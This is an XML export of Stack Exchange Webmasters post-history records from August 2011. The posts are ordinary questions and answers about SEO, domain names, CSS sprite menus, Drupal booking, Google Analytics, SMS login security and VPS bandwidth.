  <row Id="43341" PostHistoryTypeId="2" PostId="17924" RevisionGUID="dcb54d0d-2705-4997-adda-e15836c348e4" CreationDate="2011-08-08T11:12:03.600" UserId="4655" Text="No, it isn't, at least for Google. Google use sitemap (create it! It's very important), and it generate breadcrumbs for you (on their results page), so the url becomes irrelevant. Some of the top search results for various keywords provide websites with random IDs composed of integers.&#xD;&#xA;&#xD;&#xA;People pointed it out here first: http://stackoverflow.com/questions/2114935/is-a-deep-directory-structure-a-bad-thing-for-seo&#xD;&#xA;&#xD;&#xA;Provide Google your map (site structure), and they really will take care of the rest." />
  <row Id="43342" PostHistoryTypeId="2" PostId="17925" RevisionGUID="e3fa0a7a-49ab-4746-9535-f17b09438e48" CreationDate="2011-08-08T11:14:41.133" UserId="4655" Text="Do you have access to apache logs on that server? If you do check your error.log and you will have the answer ;) Usually it's in `/var/log/apache2`." />
  <row Id="43343" PostHistoryTypeId="2" PostId="17926" RevisionGUID="78fb905d-ad6e-4dac-9cae-554a028423fa" CreationDate="2011-08-08T11:25:06.253" UserId="4655" Text="Domains are cheap so you can have both and there aren't any problems with registering and owning .com domains here (I'm from Poland). &#xD;&#xA;&#xD;&#xA;I'd say go for the shorter one (fmdev also sounds nice). &#xD;&#xA;&#xD;&#xA;When it comes to small sites the content is much more important than the URL as long as it's short and easy to remember." />
  <row Id="43344" PostHistoryTypeId="17" PostId="17927" RevisionGUID="7e16adcf-a4be-4087-9400-0d1e00b61b64" CreationDate="2011-08-08T11:50:40.657" UserId="-1" Comment="from http://stackoverflow.com/questions/6978027/javascript-based-audio-player" Text="" />
  <row Id="43345" PostHistoryTypeId="17" PostId="17928" RevisionGUID="89a3181e-ff72-4c78-b2e6-063e54e6740f" CreationDate="2011-08-08T11:50:40.657" UserId="-1" Comment="from http://stackoverflow.com/questions/6978027/javascript-based-audio-player" Text="" />
  <row Id="43346" PostHistoryTypeId="17" PostId="17929" RevisionGUID="14b75fc1-35f5-4767-b7da-fceb3d73e5e2" CreationDate="2011-08-08T11:50:40.657" UserId="-1" Comment="from http://stackoverflow.com/questions/6978027/javascript-based-audio-player" Text="" />
  <row Id="43347" PostHistoryTypeId="2" PostId="17928" RevisionGUID="af3d84c6-6f98-43aa-a3ac-f5275c5d0763" CreationDate="2011-08-08T07:55:44.693" UserId="5901" Text="[Yahoo Media Player][1] should be perfect for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mediaplayer.yahoo.com/" />
  <row Id="43348" PostHistoryTypeId="2" PostId="17929" RevisionGUID="7ede58a2-ff69-4e1e-bda1-83487327b4c3" CreationDate="2011-08-08T08:27:20.320" UserDisplayName="ciembor" Text="Check out [html5media](http://html5media.info/). You don't have to write JS:). This library gives you the audio tag working with most modern browsers. Here is more about looping: http://www.w3schools.com/html5/att_audio_loop.asp." />
  <row Id="43349" PostHistoryTypeId="2" PostId="17927" RevisionGUID="b356ada5-dd65-4f87-83cc-bd57e479048f" CreationDate="2011-08-08T05:19:09.513" UserDisplayName="Zeeshan Rang" Text="I am trying to find an Audio-Player, javascript based. I have tried a bunch of them, but was unable to find one with &quot;Analytic&quot;, &quot;Caption&quot;, &quot;Control-Bar&quot; etc other features. &#xD;&#xA;&#xD;&#xA;Can I have some suggestions, where I can find such an audio player. Preferably free. ;)&#xD;&#xA;&#xD;&#xA;Best &#xD;&#xA;Zeeshan" />
  <row Id="43350" PostHistoryTypeId="1" PostId="17927" RevisionGUID="b356ada5-dd65-4f87-83cc-bd57e479048f" CreationDate="2011-08-08T05:19:09.513" UserDisplayName="Zeeshan Rang" Text="JavaScript based Audio player." />
  <row Id="43351" PostHistoryTypeId="3" PostId="17927" RevisionGUID="b356ada5-dd65-4f87-83cc-bd57e479048f" CreationDate="2011-08-08T05:19:09.513" UserDisplayName="Zeeshan Rang" Text="&lt;javascript&gt;" />
  <row Id="43352" PostHistoryTypeId="2" PostId="17930" RevisionGUID="99a5a478-5bb3-4d6c-9f7d-34c2aa8d6bf0" CreationDate="2011-08-08T11:52:11.780" UserId="5727" Text="I've just broken down Nicks answer for &lt;100,000 uniques as I think it needs expanding a bit :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###50,000 unique monthly visitors (a pop)&#xD;&#xA;A healthy amount of visitors and showing the signs of value&#xD;&#xA;&#xD;&#xA;###25,000 unique monthly visitors (a buzz)&#xD;&#xA;Healthy interest&#xD;&#xA;&#xD;&#xA;###10,000 unique monthly visitors (a fizz)&#xD;&#xA;Signs of potential for small sites&#xD;&#xA;&#xD;&#xA;###2,500 unique monthly visitors (a beep)&#xD;&#xA;A blog/info site with a reasonable amount of interest&#xD;&#xA;&#xD;&#xA;###500 unique monthly visitors (a pip)&#xD;&#xA;A very small blog visited only by a handful of people.&#xD;&#xA;&#xD;&#xA;###100 unique monthly visitors (a blip)&#xD;&#xA;A tiny blip on the Internet.&#xD;&#xA;&#xD;&#xA;###20 unique monthly visitor (friends and family)&#xD;&#xA;A website probably only visited by yourself and friends and family" />
  <row Id="43356" PostHistoryTypeId="25" PostId="17927" RevisionGUID="bd9011b0-de11-490c-86ed-4fb39a0fba4a" CreationDate="2011-08-08T12:34:11.587" Comment="http://twitter.com/#!/StackWebmasters/status/100545339634892800" />
  <row Id="43357" PostHistoryTypeId="2" PostId="17932" RevisionGUID="b3422610-08f9-4512-bbaa-2aa3127a2480" CreationDate="2011-08-08T13:05:45.437" UserId="8557" Text="Domains and Extensions do not play a major role in SEO although they are necessary if you wan't a perfectly optimized site. I don't see any reason why you should not have a .com domain. If I were you and had the money, I would have booked all TLDs for fmdev as it secures your brand which is much more essential in your case." />
  <row Id="43359" PostHistoryTypeId="2" PostId="17934" RevisionGUID="20647e21-5761-4f57-a094-4322c54d02a1" CreationDate="2011-08-08T13:50:40.467" UserId="9456" Text="I have recently just designed a basic website for a pc repairs company I am wanting to set up and was wondering if you could give me some feedback on it mainly negative so I can improve it.&#xD;&#xA;&#xD;&#xA;Here is a link to the site (It isnt the final address just so u can see it)&#xD;&#xA;[Link][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hobbyhub.co.uk/pcmedic/" />
  <row Id="43360" PostHistoryTypeId="1" PostId="17934" RevisionGUID="20647e21-5761-4f57-a094-4322c54d02a1" CreationDate="2011-08-08T13:50:40.467" UserId="9456" Text="Website asthetics" />
  <row Id="43361" PostHistoryTypeId="3" PostId="17934" RevisionGUID="20647e21-5761-4f57-a094-4322c54d02a1" CreationDate="2011-08-08T13:50:40.467" UserId="9456" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="43362" PostHistoryTypeId="2" PostId="17935" RevisionGUID="857188e3-9fc4-47c4-ad10-28d7792d263a" CreationDate="2011-08-08T14:01:37.800" UserId="8687" Text="Webmin is basically a free cPanel clone and should be able to set up sites for you - assuming it is installed correctly and you have your web server, dns, etc set up and running. Just log in to your Webmin control panel and create a new domain account. Then point your domains DNS at the VPS IP address. You'll then be able to access the domains own Webmin account and use ftp, email and so forth.&#xD;&#xA;&#xD;&#xA;If your more familiar with cPanel, you might be more at home changing from Webmin to a cPanel VPS. You can get cPanel VPS licenses from about $15 per month or through your VPS provider. You can then administer your websites using that cPanel and the WHM (Web Host Manager) that comes with cPanel.&#xD;&#xA;&#xD;&#xA;Other alternative control panels include Plesk and DirectAdmin, both of which have license fees similar to cPanel. Some people prefer them. Few people I know like webmin but it should work.&#xD;&#xA;&#xD;&#xA;In addition, I'd suggest making a local clone of your server setup that you can play with without destroying your VPS. You can download vmware and create a virtual Ubuntu server on your home PC. Practice tweaking and configuring that home server and if everything is working do the same tweaks on the real VPS." />
  <row Id="43363" PostHistoryTypeId="10" PostId="17934" RevisionGUID="61501511-8344-4cd8-923a-6b06d1ff0785" CreationDate="2011-08-08T14:02:18.063" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43364" PostHistoryTypeId="11" PostId="17934" RevisionGUID="d0f6f648-083f-4d11-8a2a-cb2ab47b7c23" CreationDate="2011-08-08T14:02:41.307" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43365" PostHistoryTypeId="10" PostId="17934" RevisionGUID="28777ff9-b733-4463-9394-4df3b979d79f" CreationDate="2011-08-08T14:02:45.457" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43366" PostHistoryTypeId="2" PostId="17936" RevisionGUID="5dd4c403-5229-4530-aa2a-7949bb4ae53a" CreationDate="2011-08-08T14:57:33.687" UserId="7198" Text="Quantcast's [privacy policy](http://www.quantcast.com/privacy) doesn't reference the cookie by name, but it hints as to what functions it performs with cookies in general. They're quite vague about it, though, which is probably go give them the freedom to do what they want with the information they record.&#xD;&#xA;&#xD;&#xA;The summary from Quantcast's 'log data' section is that it may use your &quot;computer’s IP address, pixel code, referring HTTP location, current HTTP location, search string, time of the access, browser’s time, any searches made on the applicable website, and other statistics&quot; in order to &quot;analyze Log Data from different websites and combine it with other non Personally Identifiable Information to produce the Reports that are made available on the Quantcast.com Site, to enable web publishers and advertisers to deliver audience segments that are appropriate for their products or services.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43367" PostHistoryTypeId="2" PostId="17937" RevisionGUID="b8e6af15-856b-46f8-b88f-f5a208db6475" CreationDate="2011-08-08T15:02:25.600" UserId="5219" Text="Is it possible to create website on Drupal that works something like Airbnb ?&#xD;&#xA;&#xD;&#xA;Specifications:&#xD;&#xA;&#xD;&#xA; 1. Reserving houses with online calendar and calculation of total sum of reservation.&#xD;&#xA; 2. Gallery of houses pictures.&#xD;&#xA; 3. Ability to pay with Visa/MasterCard and etc.&#xD;&#xA;In other words, this website should work as simple hotel website.&#xD;&#xA;I'd really appreciate if you'd give some examples (hotel websites).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43368" PostHistoryTypeId="1" PostId="17937" RevisionGUID="b8e6af15-856b-46f8-b88f-f5a208db6475" CreationDate="2011-08-08T15:02:25.600" UserId="5219" Text="Is it possible to create website on Drupal that works same as Airbnb?" />
  <row Id="43369" PostHistoryTypeId="3" PostId="17937" RevisionGUID="b8e6af15-856b-46f8-b88f-f5a208db6475" CreationDate="2011-08-08T15:02:25.600" UserId="5219" Text="&lt;drupal&gt;" />
  <row Id="43370" PostHistoryTypeId="2" PostId="17938" RevisionGUID="76d80b8b-75e9-46c2-aa4c-844c058ee864" CreationDate="2011-08-08T15:12:09.600" UserId="9046" Text="Hi i have a css menu but there is a problem and i cant figure out why it happens my problem is i have a png background with buttons normal, hover and selected states. Background image is like this&#xD;&#xA;&#xD;&#xA;[Menu Bg][1]&#xD;&#xA;&#xD;&#xA;But i see it on page like this, with wrong order. Css code is included below. Please help!&#xD;&#xA;&#xD;&#xA;[Actual Menu seen on Website][2]&#xD;&#xA;&#xD;&#xA;    #menu {padding:0; margin:0; list-style:none; width:560px; height:42px; }&#xD;&#xA;    &#xD;&#xA;    #menu li {float:left;}&#xD;&#xA;    #menu li.last {margin:0;}&#xD;&#xA;    #menu li a {display:block; height:42px; width:80px; padding:0; float:left; color:#666666; text-decoration:none; font-family:MuseoSans700; font-size:12px; text-align:center; cursor:pointer;}&#xD;&#xA;    #menu li a b {position:relative; top:13px; font-weight:normal;}&#xD;&#xA;    &#xD;&#xA;    #menu li a b.current { font-family: MuseoSans900;}&#xD;&#xA;    &#xD;&#xA;    #menu li#home a {background: url(nav_bg.png) 0px 0px ;}&#xD;&#xA;    #menu li#single a {background:url(nav_bg.png) 80px 0 ;}&#xD;&#xA;    #menu li#dropdown a {background: url(nav_bg.png) 160px 0 ;}&#xD;&#xA;    #menu li#dropline a {background: url(nav_bg.png) 240px 0 ;}&#xD;&#xA;    #menu li#flyout a {background:url(nav_bg.png) 320px 0 ;}&#xD;&#xA;    #menu li#support a {background:url(nav_bg.png) 400px 0 ;}&#xD;&#xA;    #menu li#contact a {background: url(nav_bg.png) 480px 0 ;}&#xD;&#xA;    &#xD;&#xA;    #menu li#home a:hover {background:url(nav_bg.png) 0 -42px;}&#xD;&#xA;    #menu li#single a:hover {background:url(nav_bg.png) 80px -42px;}&#xD;&#xA;    #menu li#dropdown a:hover {background:url(nav_bg.png) 160px -42px;}&#xD;&#xA;    #menu li#dropline a:hover {background:url(nav_bg.png) 240px -42px;}&#xD;&#xA;    #menu li#flyout a:hover {background:url(nav_bg.png) 320px -42px;}&#xD;&#xA;    #menu li#support a:hover {background:url(nav_bg.png) 400px -42px;}&#xD;&#xA;    #menu li#contact a:hover {background:url(nav_bg.png) 480px -42px;}&#xD;&#xA;    &#xD;&#xA;    #menu li#home a.current {background:url(nav_bg.png) 0 -84px;}&#xD;&#xA;    #menu li#single a.current {background:url(nav_bg.png) 80px -84px;}&#xD;&#xA;    #menu li#dropdown a.current {background:url(nav_bg.png) 160px -84px;}&#xD;&#xA;    #menu li#dropline a.current {background:url(nav_bg.png) 240px -84px;}&#xD;&#xA;    #menu li#flyout a.current {background:url(nav_bg.png) 320px -84px;}&#xD;&#xA;    #menu li#support a.current {background:url(nav_bg.png) 400px -84px;}&#xD;&#xA;    #menu li#contact a.current {background:url(nav_bg.png) 480px -84px;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/cN2p1.png&#xD;&#xA;  [2]: http://i.imgur.com/DNrnG.png" />
  <row Id="43371" PostHistoryTypeId="1" PostId="17938" RevisionGUID="76d80b8b-75e9-46c2-aa4c-844c058ee864" CreationDate="2011-08-08T15:12:09.600" UserId="9046" Text="CSS menu background positioning problem" />
  <row Id="43372" PostHistoryTypeId="3" PostId="17938" RevisionGUID="76d80b8b-75e9-46c2-aa4c-844c058ee864" CreationDate="2011-08-08T15:12:09.600" UserId="9046" Text="&lt;css&gt;" />
  <row Id="43373" PostHistoryTypeId="17" PostId="17939" RevisionGUID="dfef166f-450a-4d4b-ad4b-52b6dcd4a67e" CreationDate="2011-08-08T15:21:39.257" UserId="-1" Comment="from http://stackoverflow.com/questions/6984266/google-analytics-report-for-weekdays-only" Text="" />
  <row Id="43374" PostHistoryTypeId="2" PostId="17939" RevisionGUID="3523e3fa-55da-4733-8d3d-241d25acfac8" CreationDate="2011-08-08T15:10:37.207" UserDisplayName="Darren Cook" Text="I would like to create a custom report in Google Analytics that will measure weekday performance only over a period of time ie week 01 (Monday to Friday) verses week 02 (Monday to Friday).&#xD;&#xA;&#xD;&#xA;Is this possible and if so how." />
  <row Id="43375" PostHistoryTypeId="1" PostId="17939" RevisionGUID="3523e3fa-55da-4733-8d3d-241d25acfac8" CreationDate="2011-08-08T15:10:37.207" UserDisplayName="Darren Cook" Text="Google Analytics Report For Weekdays Only" />
  <row Id="43376" PostHistoryTypeId="3" PostId="17939" RevisionGUID="3523e3fa-55da-4733-8d3d-241d25acfac8" CreationDate="2011-08-08T15:10:37.207" UserDisplayName="Darren Cook" Text="&lt;google-analytics&gt;" />
  <row Id="43377" PostHistoryTypeId="14" PostId="17938" RevisionGUID="b153e817-3fee-45d1-99a4-7f26f08ab442" CreationDate="2011-08-08T15:28:11.963" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="43378" PostHistoryTypeId="17" PostId="17938" RevisionGUID="f1e3d00e-f5bd-40d4-ae74-ab1255fa5b50" CreationDate="2011-08-08T15:28:11.980" UserId="1253" Comment="to http://stackoverflow.com/questions/6984531/css-menu-background-positioning-problem" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43379" PostHistoryTypeId="10" PostId="17938" RevisionGUID="10e5dd7c-d94c-4cdf-9c61-60e5a4633e80" CreationDate="2011-08-08T15:28:10.373" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43380" PostHistoryTypeId="25" PostId="17912" RevisionGUID="d52ef4b2-7af9-4bed-8d99-73eeeac9f869" CreationDate="2011-08-08T15:34:11.657" Comment="http://twitter.com/#!/StackWebmasters/status/100590638021611520" />
  <row Id="43381" PostHistoryTypeId="2" PostId="17940" RevisionGUID="6d6bc601-d4fe-4e57-a4b9-5ce9d13b0e3c" CreationDate="2011-08-08T15:35:05.773" UserId="9458" Text="Edit: ignore this somehow I missed you saying you used blogger and read it as saying you were&#xD;&#xA; a blogger&#xD;&#xA;What bloging platform are you using?&#xD;&#xA;&#xD;&#xA;if it is wordpress check out [Wordpress Pages][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.support.wordpress.com/pages/" />
  <row Id="43382" PostHistoryTypeId="5" PostId="17940" RevisionGUID="274f62ed-803f-46d5-b606-f1ce47ef51d9" CreationDate="2011-08-08T15:45:39.453" UserId="9458" Comment="deleted 53 characters in body" Text="Once logged in click posting, then edit pages. Click create page.&#xD;&#xA;You can then edit your page just like a post. A link to the page will appear in the in the sidebar when you click publish page." />
  <row Id="43383" PostHistoryTypeId="2" PostId="17941" RevisionGUID="7ac05282-f42f-4717-b903-da8dc008e4b9" CreationDate="2011-08-08T16:45:35.347" UserId="4502" Text="There's an established &lt;a href=&quot;http://drupal.org/project/uc_hotel&quot;&gt;hotel booking system&lt;/a&gt; that ties into Ubercart.&#xD;&#xA;&#xD;&#xA;Looking forward, work is also converging around the &lt;a href=&quot;http://drupal.org/project/rooms&quot;&gt;Rooms&lt;/a&gt; project, but that's still in dev status." />
  <row Id="43384" PostHistoryTypeId="2" PostId="17942" RevisionGUID="a97473a6-f322-42c3-8e53-28dbd5bbb33f" CreationDate="2011-08-08T17:18:35.633" UserId="9461" Text="Hy Hello all, I have an idea to implement but I hate to copy if it is been used by any other website(s). My idea is about suspending an account using text SMS. The description follows.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`When a user signs into his account he gets an text SMS saying &quot;Hello Mr.X you have been logged into your account from IP xx.xx.xx.xx, If you are not the real user logged in send reply to this as BLOCK&lt;space&gt;15&lt;space&gt;random code.`&#xD;&#xA;&#xD;&#xA;So, here the user can suspend his account by sending a return SMS as BLOCK 15 to block his account for 15mins. This text SMS can terminate the user session and does not allow him to login for next 15mins even with correct username and password. Likewise he can suspend his account for any value of time and can release the same by sending UNBLOCK&lt;space&gt;random code. Is this kind of feature used by any website? Please let me know if it is used. Else I wanna be the first person to implement it." />
  <row Id="43385" PostHistoryTypeId="1" PostId="17942" RevisionGUID="a97473a6-f322-42c3-8e53-28dbd5bbb33f" CreationDate="2011-08-08T17:18:35.633" UserId="9461" Text="Account suspension on SMS" />
  <row Id="43386" PostHistoryTypeId="3" PostId="17942" RevisionGUID="a97473a6-f322-42c3-8e53-28dbd5bbb33f" CreationDate="2011-08-08T17:18:35.633" UserId="9461" Text="&lt;security&gt;&lt;web-security&gt;&lt;session&gt;" />
  <row Id="43387" PostHistoryTypeId="2" PostId="17943" RevisionGUID="5e465d3f-6706-4bdd-9cd4-bc856b4739dd" CreationDate="2011-08-08T18:06:21.557" UserId="5727" Text="I've never heard of it being used.  It sounds like a good optional feature for high risk websites, such as Poker Websites, Bank Websites, Stock trading sites etc where large amounts of money can be drained relatively quickly.&#xD;&#xA;&#xD;&#xA;However for most applications it's probably overkill and will increase the amount of time you will spend doing support for people who don't quite understand it etc.&#xD;&#xA;&#xD;&#xA;Be careful about guarantees as well, if you offer this service, someone gets hacked the SMS doesn't send/is delayed then you may be liable for any theft/damages.&#xD;&#xA;&#xD;&#xA;Good innovative idea though in my opinion, but too risky/overkill for 99.99% of people.  Those 99.99% of people should just invest that time in making sure their systems are really well implemented and secure.&#xD;&#xA;&#xD;&#xA;I suggest to you to make a technical demo and write about it, how you implemented it, what pitfalls you have found, it could make for a really interesting and popular read." />
  <row Id="43388" PostHistoryTypeId="25" PostId="17893" RevisionGUID="bfa74137-11da-4381-999c-eedf3f20948b" CreationDate="2011-08-08T18:34:11.763" Comment="http://twitter.com/#!/StackWebmasters/status/100635936504815616" />
  <row Id="43389" PostHistoryTypeId="2" PostId="17944" RevisionGUID="ac982c99-6fa6-4947-b1dc-ad691cc1b82d" CreationDate="2011-08-08T20:39:46.653" UserId="6355" Text="As far as I know the only way you can do it is by assigning custom variables to visits that happen between Monday and Friday with JavaScript, and disable them on weekends.&#xD;&#xA;&#xD;&#xA;Then you can create a segment (and/or a custom report) based on that custom variable value.&#xD;&#xA;&#xD;&#xA;Search for setCustomVar in Google to find out more:&#xD;&#xA;&#xD;&#xA;    _setCustomVar(index, name, value, opt_scope);&#xD;&#xA;&#xD;&#xA;*Please note that I'm not sure if the report will count weekends as days with zero visits and decrease your metrics. Maybe someone else can help or you can test it in the next two weeks.* " />
  <row Id="43390" PostHistoryTypeId="2" PostId="17945" RevisionGUID="d10a0d8c-d154-4cf9-b592-38706ec61e5e" CreationDate="2011-08-08T20:39:48.483" UserId="132" Text="It is possible to run a LAMP server in a VM, using VirtualBox or the like. There is a little bit of fiddling with settings to be done, but you can do your editing in Dreamweaver on Windows, and have the virtual server serve it up. This is useful to avoid cluttering your main system with server-related processes.&#xD;&#xA;&#xD;&#xA;SitePoint did &lt;a href=&quot;http://www.sitepoint.com/build-your-own-dev-server-with-virtualbox/&quot;&gt;a useful tutorial&lt;/a&gt; on setting this up some time back. Following the instructions, it is not much trouble to get working. The tutorial is slightly dated but the steps should be the same.&#xD;&#xA;&#xD;&#xA;It is also possible to set up a folder on your host system which is shared by the VM, so you can host your site there and not need to FTP files into the virtual server." />
  <row Id="43391" PostHistoryTypeId="25" PostId="17713" RevisionGUID="e64b8ec4-67be-4c1f-b488-4e24b8935236" CreationDate="2011-08-08T21:34:12.050" Comment="http://twitter.com/#!/StackWebmasters/status/100681237009661952" />
  <row Id="43395" PostHistoryTypeId="2" PostId="17947" RevisionGUID="4e0640f3-0977-4adc-9774-9e7edc1d9e48" CreationDate="2011-08-08T22:28:25.410" UserId="745" Text="How would you handle a background image for a web page with a curve like the one below? Normally, I take a thin image and repeat it along the x-axis, but the curve negates that strategy as one side is lower than the other. Ideally, I'd like to have the lines continue along their current path (even on larger monitors) without having to use a huge image for the whole thing. Any tricks or suggestions to do this in a way that doesn't kill my page size?&#xD;&#xA;&#xD;&#xA;![Curved background][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/cyLoq.png" />
  <row Id="43396" PostHistoryTypeId="1" PostId="17947" RevisionGUID="4e0640f3-0977-4adc-9774-9e7edc1d9e48" CreationDate="2011-08-08T22:28:25.410" UserId="745" Text="Background image strategies for a curved background" />
  <row Id="43397" PostHistoryTypeId="3" PostId="17947" RevisionGUID="4e0640f3-0977-4adc-9774-9e7edc1d9e48" CreationDate="2011-08-08T22:28:25.410" UserId="745" Text="&lt;css&gt;&lt;website-design&gt;&lt;background-image&gt;" />
  <row Id="43398" PostHistoryTypeId="2" PostId="17948" RevisionGUID="2391b0cb-021f-4439-be61-807cdf88ada6" CreationDate="2011-08-08T23:37:42.460" UserId="1064" Text="There are some attractive aspects to your implementation, however, it fails to meet the most basic security requirement: by default, do not allow unauthorized users access.&#xD;&#xA;&#xD;&#xA;A &quot;do you want to ban whomever logged in?&quot; query assumes that, by default, the user is *not* banned - an ignored SMS means that the unauthorized user had access to the account.&#xD;&#xA;&#xD;&#xA;The better default: send an SMS whenever a login is attempted from an unrecognized host and require that the authorized user enter a code from the SMS to complete the login process (this process has the added benefit of preventing an unauthorized user from accessing the account while notifying the authorized user that someone is trying to log in).&#xD;&#xA;&#xD;&#xA;[Gmail][1], for one, implements SMS in this manner.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googleblog.blogspot.com/2011/02/advanced-sign-in-security-for-your.html" />
  <row Id="43399" PostHistoryTypeId="25" PostId="17622" RevisionGUID="d71deda6-4026-4a54-a432-cc5cccc0780c" CreationDate="2011-08-09T00:34:12.710" Comment="http://twitter.com/#!/StackWebmasters/status/100726537875238912" />
  <row Id="43400" PostHistoryTypeId="2" PostId="17949" RevisionGUID="5311d3cd-6e9a-43a9-9afe-69e079c2de56" CreationDate="2011-08-09T02:40:41.043" UserId="4655" Text="One ugly solution I can think of right now is to create absolute positioned div at top-right corner of the page. Width of 50%, background color grey. In the middle there is your background. You can use another div to set the background for the other side for consistency, but it's much easier to set the proper background for your `body`. &#xD;&#xA;&#xD;&#xA;You can improve this technique using multiple backgrounds (http://techknack.net/css-trick-two-background-images/) eliminating the need for divs, but introducing stretched images." />
  <row Id="43401" PostHistoryTypeId="2" PostId="17950" RevisionGUID="2524c6ae-756e-4a99-82b1-c4e55671941a" CreationDate="2011-08-09T03:08:38.417" UserId="9465" Text="I HAVE BUILT AN E-COMMERCE WEBSITE IN FLASH CS5 SELLING DOWN-LOADABLE DIGITAL MEDIA-ALL PRODUCTS ARE LINKED TO PAYPAL BUT NOW I HAVE TO GET THE PAYER BACK TO THEIR PURCHASED DOWNLOAD-PLEASE HELP, THANKS ROB THOMPSON." />
  <row Id="43402" PostHistoryTypeId="1" PostId="17950" RevisionGUID="2524c6ae-756e-4a99-82b1-c4e55671941a" CreationDate="2011-08-09T03:08:38.417" UserId="9465" Text="flash action script 2 code to return from paypal after payment for customer download" />
  <row Id="43403" PostHistoryTypeId="3" PostId="17950" RevisionGUID="2524c6ae-756e-4a99-82b1-c4e55671941a" CreationDate="2011-08-09T03:08:38.417" UserId="9465" Text="&lt;websites&gt;&lt;development&gt;" />
  <row Id="43404" PostHistoryTypeId="25" PostId="17770" RevisionGUID="1f22b168-70bb-43fd-896c-f2822e6bcf9c" CreationDate="2011-08-09T03:34:12.913" Comment="http://twitter.com/#!/StackWebmasters/status/100771836089991168" />
  <row Id="43405" PostHistoryTypeId="2" PostId="17951" RevisionGUID="7e0b7c1c-9329-4e22-9161-dfe14d8c6948" CreationDate="2011-08-09T04:26:19.687" UserId="6586" Text="I'm having an issue with PHP on my Godaddy Virtual Dedicated Server. I've run a couple simple PHP scripts and one included:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;$mysqli = new mysqli($host, $user, $pass, $db); &#xD;&#xA;&#xD;&#xA;which throws the following error:&#xD;&#xA;&#xD;&#xA;Fatal error: Class 'mysqli' not found in C:\Inetpub\vhosts\site\index.php&#xD;&#xA;&#xD;&#xA;Any help?? The virtual server is running Windows Server 2003 and PHP5.2&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;Zach" />
  <row Id="43406" PostHistoryTypeId="1" PostId="17951" RevisionGUID="7e0b7c1c-9329-4e22-9161-dfe14d8c6948" CreationDate="2011-08-09T04:26:19.687" UserId="6586" Text="PHP Problem: mysqli extension?" />
  <row Id="43407" PostHistoryTypeId="3" PostId="17951" RevisionGUID="7e0b7c1c-9329-4e22-9161-dfe14d8c6948" CreationDate="2011-08-09T04:26:19.687" UserId="6586" Text="&lt;php&gt;&lt;server&gt;&lt;mysql&gt;&lt;sql-server&gt;&lt;sql&gt;" />
  <row Id="43408" PostHistoryTypeId="2" PostId="17952" RevisionGUID="4ec3ee2e-751f-4a4c-a630-f91d01f9db16" CreationDate="2011-08-09T04:52:04.907" UserId="9467" Text="I have a website for student submitted college ratings that focuses on the fun aspects of the colleges (how are the parties, social life, etc).  &#xD;&#xA;I currently own 4 different domains and debating which one to use:  &#xD;&#xA;funcampuses.com  &#xD;&#xA;fun-colleges.com  &#xD;&#xA;funcollegecampuses.com  &#xD;&#xA;funcollegeratings.com  &#xD;&#xA;&#xD;&#xA;I like the first one because its catchy and has no spaces, but campuses isn't really a keyword for me - colleges definitely is. Second one is good, but is the dash going to hurt me? funcolleges.com is unavailable.. The 3rd and 4th ones are simply long..&#xD;&#xA;&#xD;&#xA;What do you guys think? Thanks!&#xD;&#xA;" />
  <row Id="43409" PostHistoryTypeId="1" PostId="17952" RevisionGUID="4ec3ee2e-751f-4a4c-a630-f91d01f9db16" CreationDate="2011-08-09T04:52:04.907" UserId="9467" Text="Effect of domain on SEO?" />
  <row Id="43410" PostHistoryTypeId="3" PostId="17952" RevisionGUID="4ec3ee2e-751f-4a4c-a630-f91d01f9db16" CreationDate="2011-08-09T04:52:04.907" UserId="9467" Text="&lt;seo&gt;&lt;domains&gt;" />
  <row Id="43411" PostHistoryTypeId="2" PostId="17953" RevisionGUID="61609e0b-b5c2-4742-8192-f49313757490" CreationDate="2011-08-09T04:55:12.530" UserId="9466" Text="I have a VPS that suspended for use out of BW limitation.In DirectAdmin report i have no change in the use of bandwidth and all things are normal (Bandwidth usage is less than 4 GB and my BW limitation is 250 GB) , but in my server company's report VPS use about 1.5 TB of BW just in 4 days! please help me! how can i found problem when in direct admin BW usage is normal and i dont install any other service in my VPS in 4-5 months ago. may i monitor my BW and Ports by other tools?!&#xD;&#xA;SERVER DETAILS: Open VZ - Cent OS - HDD: 10 GB - BW: 250 GB/Monthly - CP:DirectAdmin - i have a root access. 1 dedicated IP.&#xD;&#xA;Bandwidth Used in my Server Company Report : over 1.6 TB in 4 dayes.&#xD;&#xA;Bandwitdth Used in my DirectAdmin Report: Lessthan 5 GB.&#xD;&#xA;" />
  <row Id="43412" PostHistoryTypeId="1" PostId="17953" RevisionGUID="61609e0b-b5c2-4742-8192-f49313757490" CreationDate="2011-08-09T04:55:12.530" UserId="9466" Text="How can i monitor my VPS real BW usage?" />
